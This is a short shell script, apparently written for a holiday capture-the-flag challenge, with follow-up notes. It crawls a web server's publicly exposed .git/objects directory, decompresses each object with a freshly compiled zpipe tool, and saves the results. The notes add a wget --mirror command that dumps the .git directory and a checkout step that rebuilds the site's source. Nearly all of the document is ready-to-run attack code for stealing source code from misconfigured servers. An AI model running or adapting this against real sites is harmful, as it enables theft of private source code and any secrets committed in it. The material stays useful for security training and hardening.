grab_git_objects.sh

DOMAIN=https://analytics.northpolewonderland.com

if [ ! -f "./zpipe" ]
then
        # From: https://stackoverflow.com/questions/1532405/how-to-view-git-objects-and-index-without-using-git
	echo "[*] There is no zpipe binary here! Downloading and compiling..."
	wget https://github.com/madler/zlib/raw/master/examples/zpipe.c
	sudo apt-get install zlib1g-dev > /dev/null
	gcc -o zpipe zpipe.c -lz
else
	echo "[*] zpipe is already present"
fi

if [ ! -f "./directories.txt" ]
then
	curl -k $DOMAIN/.git/objects/ | cut -d\" -f2 > directories.txt
else
	echo "[*] Directories are already fetched"
fi

echo "[*] Fetching Git objects"
for dir in `cat directories.txt`
do
	OBJECTS=`curl -q -sS -k $DOMAIN/.git/objects/$dir | grep -E 'href="[^\.]' | cut -d\" -f2`
	for HASH in $OBJECTS
	do
		echo "[*] $HASH"
		curl -q -sS -k $DOMAIN/.git/objects/$dir/$HASH | ./zpipe -d  > objects/$HASH
	done
done

From the results here, you can use ssdeep to find similar looking files. It'll probably raise a warning saying "Not enough data to give accurate results" or something like that, but it can help relate the larger files in the code base

There's actually a better way to do this by following the instructions at
https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/

1. wget --mirror -I .git $DOMAIN/.git/
2. cd $DOMAIN/
3. git checkout -- *